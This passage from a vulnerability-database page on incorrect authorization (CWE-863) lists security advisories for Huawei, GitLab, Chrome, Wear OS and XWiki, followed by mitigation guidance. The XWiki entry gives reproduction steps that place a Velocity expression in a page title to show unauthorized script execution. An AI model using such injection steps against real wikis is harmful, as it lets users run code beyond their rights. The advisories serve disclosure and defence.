    "severity": "MODERATE"
  },
  "details": "Huawei 5G Mobile WiFi E6878-370 with versions of 10.0.3.1(H563SP1C00),10.0.3.1(H563SP21C233) have an improper authorization vulnerability. The device does not restrict certain data received from WAN port. Successful exploit could allow an attacker at WAN side to manage certain service of the device.",
  "id": "GHSA-p56p-86p8-95g9",
  "modified": "2022-05-24T17:26:06Z",
  "published": "2022-05-24T17:26:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9241"
    },
    {
      "type": "WEB",
      "url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20200812-01-auth-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-P58M-CP94-FM4F

Vulnerability from github – Published: 2022-05-24 17:07 – Updated: 2024-04-04 02:47
VLAI
Details

An authorization issue was discovered in GitLab EE < 12.1.2, < 12.0.4, and < 11.11.6 allowing the merge request approval rules to be overridden without appropriate permissions.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-5474"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-01-28T03:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An authorization issue was discovered in GitLab EE \u003c 12.1.2, \u003c 12.0.4, and \u003c 11.11.6 allowing the merge request approval rules to be overridden without appropriate permissions.",
  "id": "GHSA-p58m-cp94-fm4f",
  "modified": "2024-04-04T02:47:15Z",
  "published": "2022-05-24T17:07:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5474"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/544756"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2019/07/29/security-release-gitlab-12-dot-1-dot-2-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab-ee/issues/11423"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P594-Q3QJ-X3Q3

Vulnerability from github – Published: 2026-08-20 21:31 – Updated: 2026-08-21 21:31
VLAI
Details

Incorrect authorization in Workers in Google Chrome prior to 151.0.7922.173 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-76019"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-20T21:17:10Z",
    "severity": "HIGH"
  },
  "details": "Incorrect authorization in Workers in Google Chrome prior to 151.0.7922.173 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-p594-q3qj-x3q3",
  "modified": "2026-08-21T21:31:47Z",
  "published": "2026-08-20T21:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76019"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/08/stable-channel-update-for-desktop_0404570826.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/539032888"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P5C4-8M5X-VH8P

Vulnerability from github – Published: 2022-03-11 00:02 – Updated: 2022-03-18 00:01
VLAI
Details

An Improper access control vulnerability in StRetailModeReceiver in Wear OS 3.0 prior to Firmware update MAR-2022 Release allows untrusted applications to reset default app settings without a proper permission

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-24930"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-10T17:46:00Z",
    "severity": "MODERATE"
  },
  "details": "An Improper access control vulnerability in StRetailModeReceiver in Wear OS 3.0 prior to Firmware update MAR-2022 Release allows untrusted applications to reset default app settings without a proper permission",
  "id": "GHSA-p5c4-8m5x-vh8p",
  "modified": "2022-03-18T00:01:21Z",
  "published": "2022-03-11T00:02:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24930"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2022\u0026month=3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P5F8-QF24-24CJ

Vulnerability from github – Published: 2023-12-19 21:39 – Updated: 2023-12-21 21:58
VLAI
Summary
Velocity execution without script right through tree macro
Details

Impact

It's possible to execute a Velocity script without script right through the document tree.

To reproduce:

  • As a user without script right, create a document, e.g., named Nasty Title
  • Set the document's title to $request.requestURI
  • Click "Save & View"
  • Reload the page in the browser

The navigation panel displays a document named with the current URL, showing that the Velocity code has been executed even though the user doesn't have script right.

Patches

This has been patched in XWiki 14.10.7 and 15.2RC1.

Workarounds

A possible workaround is to: * modify the page XWiki.DocumentTreeMacros * search for the code #set ($discard = $translatedDocument.setTitle($translatedDocument.title)) * modify it into #set ($discard = $translatedDocument.setcomment(''))

References

  • https://jira.xwiki.org/browse/XWIKI-20625
  • https://github.com/xwiki/xwiki-platform/commit/41d7dca2d30084966ca6a7ee537f39ee8354a7e3

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-index-tree-macro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.3-rc-1"
            },
            {
              "fixed": "14.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-index-tree-macro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0-rc-1"
            },
            {
              "fixed": "15.2-rc-1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-50732"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-19T21:39:31Z",
    "nvd_published_at": "2023-12-21T20:15:07Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nIt\u0027s possible to execute a Velocity script without script right through the document tree.\n\nTo reproduce:\n\n* As a user without script right, create a document, e.g., named Nasty Title\n* Set the document\u0027s title to `$request.requestURI`\n* Click \"Save \u0026 View\"\n* Reload the page in the browser\n\nThe navigation panel displays a document named with the current URL, showing that the Velocity code has been executed even though the user doesn\u0027t have script right.\n\n### Patches\n\nThis has been patched in XWiki 14.10.7 and 15.2RC1.\n\n### Workarounds\n\nA possible workaround is to:\n* modify the page XWiki.DocumentTreeMacros\n* search for the code `#set ($discard = $translatedDocument.setTitle($translatedDocument.title))`\n* modify it into `#set ($discard = $translatedDocument.setcomment(\u0027\u0027))`\n\n### References\n\n* https://jira.xwiki.org/browse/XWIKI-20625\n* https://github.com/xwiki/xwiki-platform/commit/41d7dca2d30084966ca6a7ee537f39ee8354a7e3\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)",
  "id": "GHSA-p5f8-qf24-24cj",
  "modified": "2023-12-21T21:58:59Z",
  "published": "2023-12-19T21:39:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-p5f8-qf24-24cj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50732"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/41d7dca2d30084966ca6a7ee537f39ee8354a7e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-20625"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Velocity execution without script right through tree macro"
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list